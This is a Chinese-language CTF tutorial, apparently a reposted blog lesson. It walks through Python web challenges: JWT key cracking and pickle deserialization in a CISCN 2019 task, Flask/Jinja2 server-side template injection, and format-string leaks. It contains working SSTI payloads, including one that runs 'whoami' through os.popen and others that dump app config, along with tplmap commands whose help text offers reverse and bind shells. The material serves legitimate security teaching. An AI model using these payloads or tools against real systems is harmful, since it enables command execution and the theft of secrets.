83:CTF奪旗-Python考點SSTI&反序列化&字符串


思維導圖

 

必備知識點:

在大量的比賽真題復現中,將涉及到滲透測試的題庫進行了語言區分,主要以 Python, PHP,Java為主,本章節將各個語言的常考點進行真題復現講解。

CTF各大題型簡介

  • MISC(安全雜項):全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數據分析、大數據統計等等,覆蓋面比較廣。我們平時看到的社工類題目;給你一個流量包讓你分析的題目;取證分析題目;都屬於這類題目。主要考查參賽選手的各種基礎綜合知識,考察范圍比較廣。
  • PPC(編程類):全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現。算法的逆向編寫,批量處理等,有時候用編程去處理問題,會方便的多。當然PPC相比ACM來說,還是較為容易的。至於編程語言嘛,推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。
  • CRYPTO(密碼學):全稱Cryptography。題目考察各種加解密技術,包括古典加密技術、現代加密技術甚至出題者自創加密技術。實驗吧“角斗場”中,這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關知識點。
  • REVERSE(逆向):全稱reverse。題目涉及到軟件逆向、破解技術等,要求有較強的反匯編、反編譯扎實功底。需要掌握匯編,堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。
  • STEGA(隱寫):全稱Steganography。隱寫術是我開始接觸CTF覺得比較神奇的一類,知道這個東西的時候感覺好神奇啊,黑客們真是聰明。題目的Flag會隱藏到圖片、音頻、視頻等各類數據載體中供參賽選手獲取。載體就是圖片、音頻、視頻等,可能是修改了這些載體來隱藏flag,也可能將flaq隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強,才能發現。此類題目主要考察參賽選手對各種隱寫工具、隱寫算法的熟悉程度。實驗吧“角斗場”的隱寫題目在我看來是比較全的,以上說到的都有涵蓋。新手盆友們可以去了解下。
  • PWN(溢出):PWN在黑客俚語中代表着攻破,取得權限,在CTF比賽中它代表着溢出類的題目,其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中,線上比賽會有,但是比例不會太重,進入線下比賽,逆向和溢出則是戰隊實力的關健。主要考察參與選手漏洞挖掘和利用能力。
  • WEB(wob類):WEB應用在今天越來越廣泛,也是CTF奪旗競賽中的主要題型,題目涉及到常見的Web漏洞,諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目,至少會有一層的安全過濾,需要選手想辦法繞過。且Web題目是國內比較多也是大家比較喜歡的題目。因為大多數人開始安全都是從web開始的。

本課重點:

  • 案例1:CTF奪旗-Python-支付邏輯&JWT&反序列化
  • 案例2:CTF奪旗-Python-Flask&jinja2&SSTI模版注入
  • 案例3:CTF奪旗-Python-格式化字符串漏洞&讀取對象

案例1:CTF奪旗-Python-支付邏輯&JWT&反序列化

真題:2019 CISCN華北賽區Day1 Web2 WriteUp (全國大學生信息安全競賽)

打開后通過提示 -> 尋找LV6 -> 購買修改支付邏輯 -> 繞過admin限制需修改jwt值 -> 爆破jwt密匙 -> 重組jwt值成為admin -> 購買進入會員中心 -> 源碼找到文件壓縮源碼 -> Python代碼審計反序列化 -> 構造讀取flag代碼進行序列化打印 -> 提交獲取

<1>打開頁面如下

<2>根據提示:暴破、一定要買到LV6。寫一個腳本,找到LV6。如下圖所示,在181頁。

<3>打開181頁,找到LV6的購買鏈接。

 <4>點擊購買,發現價格太高,而余額太少,不夠。

<5>發現購買時有一個優惠券,嘗試在前端修改優惠券折扣,點擊結算,提示“該頁面只允許admin訪問”。

 

<6>由於目前我們登錄的是普通用戶,此時可以嘗試垂直越權。觀察數據包,發現會話使用的JWT,嘗試使用c-jwt-cracker工具爆破JWT秘鑰,成功得到秘鑰。

 

<7>將username值改為admin,使用秘鑰重新生成JWT,成功登錄admin賬戶。

<8>查看網頁源代碼,找到新提示。

<9>下載www.zip,解壓縮,打開文件,發現是python源碼。

<10>使用idea工具打開源碼,全局搜索漏洞關鍵字。發現反序列化關鍵字pickle,猜測這里有反序列化漏洞。

python漏洞參考:https://github.com/bit4woo/python_sec

<11>利用漏洞,編寫腳本,生成payload

<12>由於become輸入框是個隱藏框,可以F12刪除隱藏屬性,顯示輸入框,輸入payload,點擊“一鍵成為大會員”。

<13>成功得到flag。

案例2:CTF奪旗-Python-Flask&jinja2&SSTI模版注入

l.ssti模版注入原理解釋

參考:https://xz.aliyun.com/t/7746

一個安全的代碼應該如下:

#/www
from flask import Flask,request,render_template
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET'] = "root:password"

@app.route('/')
@app.route('/index')
def index():
    return render_template("index.html",title='SSTI_TEST',name=request.args.get("name"))

if __name__ == "__main__":
    app.run()
<!--/www/templates/index.html-->
<html>
  <head>
    <title>{{title}} - cl4y</title>
  </head>
 <body>
      <h1>Hello, {{name}} !</h1>
  </body>
</html>

可以看到,我們在index.html里面構造了兩個渲染模板,用戶通過傳遞name參數可以控制回顯的內容:

即使用戶輸入渲染模板,更改語法結構,也不會造成SSTI注入:

原因是:服務端先將index.html渲染,然后讀取用戶輸入的參數,模板其實已經固定,用戶的輸入不會更改模板的語法結構。

而如果有程序員為了圖省事,將代碼這樣寫:

from flask import Flask,request
from jinja2 import Template
app = Flask(__name__)
app.config['SECRET_KEY'] = "password:123456789"
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template('''
<html>
  <head>
    <title>SSTI_TEST - cl4y</title>
  </head>
 <body>
      <h1>Hello, %s !</h1>
  </body>
</html>
                '''% (name))
    return t.render()
if __name__ == "__main__":
    app.run()

我們再進行測試:可以看到,我們輸入的內容被服務器渲染然后輸出,形成SSTI模板注入漏洞。

2.如何確定Python-ssti模版注入:中間件,返回頁面,關鍵文字提示等

  • 中間件:可通過請求響應頭server值判斷,比如 Server:Werkzeug/0.11.15 python/3.7.0,說明后台使用python腳本編寫,應該想到測試是否有SSTI漏洞。
  • 返回頁面:比如返回Opos!That page doesnt exist.
  • 關鍵字提示:比如flask、inja2、mako等

3.如何正確利用ssti注入獲取Flag:人工&工具

(1)人工:判斷版本-找利用類-構造Payload-繞過濾等

  • http://127.0.0.1:5000/acc?404_url={{%27%27.__class__.__bases__[0].__subclasses__()}}
  • http://127.0.0.1:5000/acc?404_url={{%22%22.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[%27popen%27](%27whoami%27).read()}}

(2)工具:自動化檢測工具tplmap使用

  • https://github.com/epinna/tplmap
  • https://www.cnblogs.com/f0rsaken/p/14610425.html Tplmap-20211015
Usage: python tplmap.py [options]

選項:
  -h, --help          顯示幫助並退出

目標:
  -u URL, --url=URL   目標 URL
  -X REQUEST, --re..  強制使用給定的HTTP方法 (e.g. PUT)

請求:
  -d DATA, --data=..  通過POST發送的數據字符串 它必須作為查詢字符串: param1=value1&param2=value2
  -H HEADERS, --he..  附加消息頭 (e.g. 'Header1: Value1') 多次使用以添加新的消息頭
  -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1') 多次使用以添加新的Cookie
  -A USER_AGENT, -..  HTTP User-Agent 消息頭的值
  --proxy=PROXY       使用代理連接到目標URL

檢測:
  --level=LEVEL       要執行的代碼上下文轉義級別 (1-5, Default: 1)
  -e ENGINE, --eng..  強制將后端模板引擎設置為此值
  -t TECHNIQUE, --..  技術 R:渲染 T:基於時間的盲注 Default: RT

操作系統訪問:
  --os-cmd=OS_CMD     執行操作系統命令
  --os-shell          提示交互式操作系統Shell
  --upload=UPLOAD     上傳本地文件到遠程主機
  --force-overwrite   上傳時強制覆蓋文件
  --download=DOWNL..  下載遠程文件到本地主機
  --bind-shell=BIN..  在目標的TCP端口上生成系統Shell並連接到它
  --reverse-shell=..  運行系統Shell並反向連接到本地主機端口

模板檢查:
  --tpl-shell         在模板引擎上提示交互式Shell
  --tpl-code=TPL_C..  在模板引擎中注入代碼

常規:
  --force-level=FO..  強制將測試級別設置為此值
  --injection-tag=..  使用字符串作為注入標簽 (default '*')

舉例

<1>檢測是否有SSTI漏洞,如下圖,發現有漏洞,可上傳下載文件(其實也可以命令執行,工具可能會誤報)。

命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url=

<2>下載文件。

命令:python tplmap.py -u http://127.0.0.1:5000/acc?404_url= --download flag.txt flag.txt

案例演示

靶場地址:https://buuoj.cn/challenges#[WesternCTF2018]shrine

打開發現給出源碼-pytho&flask&ssti-代碼分析訪問參數,flag位置,過濾等-不能進行正常的路徑符合-采用內置函數讀取-讀取代碼中的存儲FLAG

<1>頁面打開如下,直接給出源代碼。

代碼格式化如下

import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
	return open(__file__).read() 

@app.route('/shrine/') 
def shrine(shrine): 
	
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '') 
		blacklist = ['config', 'self'] 
		return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
	
	return flask.render_template_string(safe_jinja(shrine)) 
		
if __name__ == '__main__': 
	app.run(debug=True)

<2>看到flask,想到模板注入。

可以手工測試:

http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/{{1+1}}

返回2,說明有SSTI漏洞。

也可以使用工具測試。由於這里源代碼中沒有給出參數,因此需要在url后面加*

命令:python tplmap.py -u http://5e59d3ff-705b-4ad8-bcce-d9f688ebe3db.node4.buuoj.cn:81/shrine/*

這里檢測出漏洞,但是卻不能利用操作。原因是源代碼中作了過濾,過濾了,)

 

<3>看源碼app.config['FLAG'] = os.environ.pop('FLAG'),推測{undefined{config}}可查看所有app.config內容,但是這題設了黑名單[‘config’,‘self’]並且過濾了括號。不過python還有一些內置函數,比如url_for和get_flashed_messages。

url_for查看全局變量:/shrine/{{url_for.__globals__}}

current_app意思應該是當前app,那我們就看當前app下的config:/shrine/{{url_for.__globals__['current_app'].config}},成功拿到flag。

<4>get_flashed_message同理:/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

案例3:CTF奪旗-Python-格式化字符串漏洞&讀取對象

格式化字符串漏洞原理

  • 第一種:%操作符
  • 第二種:string.Template
  • 第三種:調用Format方法
  • 第四種:f-Strings

參考:https:/xz.aliyun.com/t/3569

漏洞代碼舉例

<1>調用Format方法。如下圖所示,name后面的值可控,我們就可以傳參獲取當前腳本的核心變量flag值。

<2>f-Strings。這是python3函數式的新增一種字符串,其功能強大,可以執行字符串中包含的python表達式。

涉及資源:

https://jwt.io/ jwt在線解密
https://buuoj.cn/ 比賽平台
https://www.bugku.com/ ctf庫
https://www.ctfhub.com/ ctf題
https://www.xuenixiang.com ctf靶場、逆向
https:/xz.aliyun.com/t/3569 Python Web之flask session&格式化字符串漏洞
https://xz.aliyun.com/t/7746 SSTI模板注入(Python+Jinja2)
https://gathub.com/CTFd/CTFd ctf
https://github.com/CTFTraining ctf環境庫
https://github.com/epinna/tplmap 注入
https://github.com/bit4woo/python_sec python滲透策略,目錄
https://github.com/brendan-rius/c-jwt-cracker JWT cracker
https://www.cnblogs.com/liuxiaowei/p/9039622.html 【Flask】Flask中關於url_for()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM